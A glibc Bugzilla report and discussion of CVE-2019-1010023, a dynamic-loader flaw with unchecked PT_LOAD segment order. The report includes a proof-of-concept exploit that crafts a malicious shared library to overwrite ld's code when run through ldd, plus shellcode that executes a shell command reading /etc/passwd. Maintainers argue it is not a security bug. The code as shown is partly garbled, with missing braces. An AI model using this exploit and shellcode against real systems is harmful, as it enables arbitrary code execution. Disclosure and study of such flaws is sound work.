Bug 22851 (CVE-2019-1010023) - ld library ELF load error
Summary: ld library ELF load error
Status: NEW
Alias: CVE-2019-1010023
Product: glibc
Classification: Unclassified
Component: dynamic-link (show other bugs)
Version: unspecified
: P2 normal
Target Milestone: ---
Assignee: Not yet assigned to anyone
Depends on:
Reported: 2018-02-16 12:09 UTC by Ilya Smith
Modified: 2019-07-17 13:44 UTC (History)
4 users (show)

See Also:
Last reconfirmed: 2018-02-19 00:00:00
fweimer: security-


Note You need to log in before you can comment on or make changes to this bug.
Description Ilya Smith 2018-02-16 12:09:26 UTC
ld-linux.so is known library and works as ELF file interpreter. It can load libraries into process with 'dlopen' function or while loading ELF file creating new process.
From here http://www.skyfree.org/linux/references/ELF_Format.pdf we can get some info about PT_LOAD:

	The array element specifies a loadable segment, described by p_filesz and p_memsz. The bytes from the file are mapped to the beginning of the memory segment. If the segment’s memory size (p_memsz) is larger than the file size (p_filesz), the ‘‘extra’’ bytes are defined to hold the value 0 and to follow the segment’s initialized area. The file size may not be larger than the memory size. Loadable segment entries in the program header table appear in ascending order, sorted on the p_vaddr member.

What we need here is following constraint: Loadable segment entries in the program header table appear in ascending order, sorted on the p_vaddr member.

Unfortunetly in current implementation of GNU Libc there is no any check for this constraint.
GNU Libc use MAP_FIXED while loading PT_LOAD segments and man about mmap says:

     Don't interpret addr as a hint: place the mapping at exactly that address.  addr must be a multiple of the page size.  If the memory region specified by addr and  len
     overlaps  pages  of  any  existing mapping(s), then the overlapped part of the existing mapping(s) will be discarded.  If the specified address cannot be used, mmap()
     will fail.  Because requiring a fixed address for a mapping is less portable, the use of this option is discouraged.

here is important to know that usage of MAP_FIXED may change current process mapping.

If attacker can ask ld library to load special crafted ELF file it can get code execution. In this case he even dont need to create special constructor inside this library or call any function from it - he can re-mmap ld library code with his own and successfully execute it after execution of mmap syscall.

As Proof of Concept to this vulnerability I prepared exploit for ldd utility - utility that know to not execute any third-party code and just showing needed libraries and memory layout of them.

The same error present in the linux kernel code, I've already prepared patch for it and will publish it soon.

normal usage:
blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main
	linux-vdso.so.1 =>  (0x00007ffca0bf6000)
	libevil.so => ./libevil.so (0x00007f5ade66d000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5ade2a3000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f5ade86f000)

specail crafted libevil.so just runs ‘cat /etc/passwd'
blackzert@crasher:~/aslur/tests/evil_elf$ ldd main

PoC code:

#include <elf.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

off_t get_len(int fd)
   off_t length = lseek(fd, 0, SEEK_END);

   lseek(fd, 0, SEEK_SET);
   return length;


int get_file(char *evilname)
   int fd = open(evilname, O_RDWR);
   if (fd < 0)
       printf("Failed to open\n");
       return -1;
   return fd;

int align(int fd, size_t len, size_t value)
	char buffer[4096] = {0};
	size_t rest = value - (len & (value - 1));
	while ( rest > 4096) {
		write(fd, buffer, 4096);
		rest -= 4096;
	write(fd, buffer, rest);
	return 0;

int extend_elf(int fd, Elf64_Phdr *new_heades, unsigned int new_count, char* overlay, unsigned long overlay_len) {

   Elf64_Ehdr header = {0};

   int size = read(fd, &header, sizeof(header));
   if (size < sizeof(header))
       printf("read failed\n");
       return -1;
   if (header.e_ident[EI_CLASS] != ELFCLASS64)
       printf("Not elf64\n");
       return -1;

   if (header.e_phentsize != sizeof(Elf64_Phdr))
       printf("unknown phdr struct\n");
       return -1;
   unsigned long ph_size = header.e_phnum * header.e_phentsize;

   header.e_phnum += new_count;

   off_t off = lseek(fd, 0, SEEK_SET);
   if (off == (off_t)-1)
       printf("bad ph_off\n");
       return -1;
   size = write(fd, &header, sizeof(header));
   if (size != sizeof(header))
       printf("failed to write header\n");
       return -1;

   off = lseek(fd, ph_size + header.e_phoff, SEEK_SET);
   if (off == (off_t)-1)
       printf("bad ph_off\n");
       return -1;

   size = write(fd, new_heades, new_count*sizeof(Elf64_Phdr));
   if (size != new_count*sizeof(Elf64_Phdr))
       printf("write failed, file corrupted. sorry\n");
       return -1;
   off = lseek(fd, 0, SEEK_SET);
   if (off == (off_t)-1)
	printf("failed go to start");
       return -1;

   off = lseek(fd, 0, SEEK_END);
   if (off == (off_t)-1)
       printf("failed to seek to end\n");
       return -1;
   align(fd, off, new_heades[0].p_align);

   return 0;

char shellcode[4096];
unsigned long libc_size = 0x26000;
int main() {
   int scfd = get_file("shellcode.bin");
   off_t sc_len = get_len(scfd);
   read(scfd, shellcode, sc_len);

   int fd = get_file("libevil.so");
   if (fd < 0)
       printf("failed open\n");

   off_t off = get_len(fd);
   if (off == (off_t)-1)
       printf("failed get len\n");
       return -1;

   Elf64_Phdr new_headers[2];

   new_headers[0].p_type = PT_LOAD; // segment with shellcode, will overwrite ld r-x segment
   new_headers[0].p_flags = PF_X|PF_R|PF_W;
   new_headers[0].p_offset = off + (4096 - (4095&off));
   new_headers[0].p_vaddr = 0x400000;
   new_headers[0].p_paddr = 0;
   new_headers[0].p_filesz = libc_size;
   new_headers[0].p_memsz = 0x200000;
   new_headers[0].p_align = 4096;

   if ( ((new_headers[0].p_vaddr - new_headers[0].p_offset)
                & (new_headers[0].p_align - 1)) != 0 )

       printf("ELF load command address/offset not properly aligned\n");
       return -1;

   new_headers[1].p_type = PT_LOAD;
   new_headers[1].p_flags = PF_X|PF_R|PF_W;
   new_headers[1].p_offset = 0;
   new_headers[1].p_vaddr = 0x200000;
   new_headers[1].p_paddr = 0;
   new_headers[1].p_filesz = 0;
   new_headers[1].p_memsz = 0x200000;
   new_headers[1].p_align = 0x200000;

   int res = extend_elf(fd, (Elf64_Phdr*)&new_headers, 2, shellcode, sc_len);
   char buffer[4096];
   memset(buffer, 0x90, 4096);
   unsigned long size = libc_size;
   while(size > 4096)
	write(fd, buffer, 4096);
	size -= 4096;
   memcpy(buffer + 4095 - sc_len, shellcode, sc_len);
   write(fd, buffer, 4096);

   return res;

This code adds to ‘libevil.so’ 2 new segments - one with shellcode that overwrites r-x segment of ld and second to be last one.

To make everything happens, special linker script is needed:

OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
SEARCH_DIR("=/usr/local/lib/x86_64-linux-gnu"); SEARCH_DIR("=/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/local/lib64"); SEARCH_DIR("=/lib64"); SEARCH_DIR("=/usr/lib64"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=/lib"); SEARCH_DIR("=/usr/lib"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib64"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib");
 . = 0x1000 + SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
 .text           :
 .rela.plt       :
 .dynamic        : { *(.dynamic) }

 .got            : { *(.got) }
 .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           : { *(.data) }

 /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }

this one just adds extra space to allow us extend program header of libevil.so
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

extern int evil();

char buffer[16536];
int main() {
	int fd = open("/proc/self/maps", 0);
	int size = read(fd, buffer, sizeof(buffer));
	if (size > 0)
		write(0, buffer, size);
	return 0;

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int evil() {
	printf("Hello world!\n");
	return 0;

and Makefile
	gcc -fPIC -shared evil.c -o libevil.so
	gcc main.c -levil -L. -o main -Wl,-rpath,./
	gcc make_evil.c -o make_evil -g
evil: all
	nasm -fbin shellcode.asm -o shellcode.bin
	gcc -fPIC -shared evil.c -T evil.script -o libevil.so
	rm main libevil.so

	gdb /home/blackzert/kernel_experiments/glibc_build/elf/ld.so

	/lib64/ld-linux-x86-64.so.2 --list ./libevil.so

   bits    64

   push    59
   pop     rax              ; rax=sys_execve
   cdq                      ; penv=0
   mov     rcx, '/bin//sh'
   push    rdx              ; 0
   push    rcx              ; "/bin//sh"
   push    rsp
   pop     rdi              ; rdi="/bin//sh", 0
   ; ---------
   push    rdx              ; 0
   push    word '-c'
   push    rsp
   pop     rbx              ; rbx="-c", 0
   push    rdx              ; NULL
   jmp     l_cmd64
r_cmd64:                     ; command
   push    rbx              ; "-c"
   push    rdi              ; "/bin//sh"
   push    rsp
   pop     rsi              ; rsi=args
   call    r_cmd64
   db 'cat /etc/passwd', 0
Comment 1 Florian Weimer 2018-02-19 08:13:04 UTC
Thanks for reporting this.

ldd is not intended to be executed on untrusted binaries, so this is not a security vulnerability.

This is not the only issue with ldd.  Bug 20857 demonstrates that the initial file mapping (and not just PT_LOAD segments) can override the dynamic linker.

(The PT_LOAD approach discussed here works reliably because the kernel does not independently randomize the address of file mappings, even without MAP_FIXED.)
Comment 2 Ilya Smith 2018-02-28 15:27:47 UTC

This bug is about bad parsing of ELF files, but not about position-dependent executables.

The problem of https://sourceware.org/bugzilla/show_bug.cgi?id=20857 is Constantly-defined address from ELF file header used to re-mmap existing segments (libc in this case). This is attended more to kernel behaviour and mmap itself, that allows to re-mmap existing mapping. Good description of this problem could be found here: https://lwn.net/Articles/741335/
And this bug hopefully would be fixed when MAP_FIXED_SAFE will by applied. And libc should also support this flag as well.

This bug is about how ld parse ELF file segments - it doesn't check order of segments and compute total size of ELF file wrong in some cases. Exploiting ldd is just an example of it and it has security impact.

As you said, ldd not intended to run untrusted files. But intended is not the same as prohibited. 

ldd will never ask's you if you sure what are you doing.

Here http://man7.org/linux/man-pages/man1/ldd.1.html it is said about security of ldd:
       Be aware that in some circumstances (e.g., where the program speci‐
       fies an ELF interpreter other than ld-linux.so), some versions of ldd
       may attempt to obtain the dependency information by attempting to
       directly execute the program, which may lead to the execution of
       whatever code is defined in the program's ELF interpreter, and per‐
       haps to execution of the program itself.  (In glibc versions before
       2.27, the upstream ldd implementation did this for example, although
       most distributions provided a modified version that did not.)

That leaves a reasonable question - does 2.27 version of libc checks interpreter name? If yes, is it safe? No, because libld can't parse ELF file's properly.

ldd exploit is one of impacts. Here is another impacts:
• Obfuscation or anti-emulation:
  - Remapping the current ELF segment by the next loaded library
  - Code executed not only from the library entry point, constructors, or export functions
• Cheating with binary-analysis tools: 
  - rabin2 from radare2 crashed calling dlopen
• Maybe more?

And all these examples are about security. And this bug is also about security.
Comment 3 Carlos O'Donell 2018-02-28 19:10:39 UTC
(In reply to Ilya Smith from comment #2)
> And all these examples are about security. And this bug is also about
> security.

The dynamic loader assumes all binaries on disk are trusted. Therefore the issue is a hardening feature (from the perspective of the glibc project) for using untrusted binaries and must be balanced against performance. At present we do nothing to harden the loader against untrusted binaries. To inspect untrusted binaries you must use libelf or libbfd. Therefore this is marked security-, it is not a security issue.
Comment 4 Paul Pluzhnikov 2018-09-01 23:57:34 UTC
> If attacker can ask ld library to load special crafted ELF file it can get code execution

It seems to me that creating a specially crafted ELF is a complicated way to achieve what can be *trivially* achieved by creating a DSO with an initializer (DT_INIT).

If you can ask for "random" DSO to be loaded, then that DSO's initializer can do *anything*, and you've already lost.

I think this bug should be closed as invalid.
Comment 5 Ilya Smith 2018-09-02 09:50:47 UTC
(In reply to Paul Pluzhnikov from comment #4)
> > If attacker can ask ld library to load special crafted ELF file it can get code execution
> It seems to me that creating a specially crafted ELF is a complicated way to
> achieve what can be *trivially* achieved by creating a DSO with an
> initializer (DT_INIT).
> If you can ask for "random" DSO to be loaded, then that DSO's initializer
> can do *anything*, and you've already lost.
> I think this bug should be closed as invalid.

This case just an example, you never know how exactly it will be used. DSO's initialisers could be checked since everyone knows about it.

This bug is not invalid, since it is exists in the code and works as described. You can not reject reality.

You may say "Risks of the bug exploitation are very low" and I agree. But you can't say "there is no bug".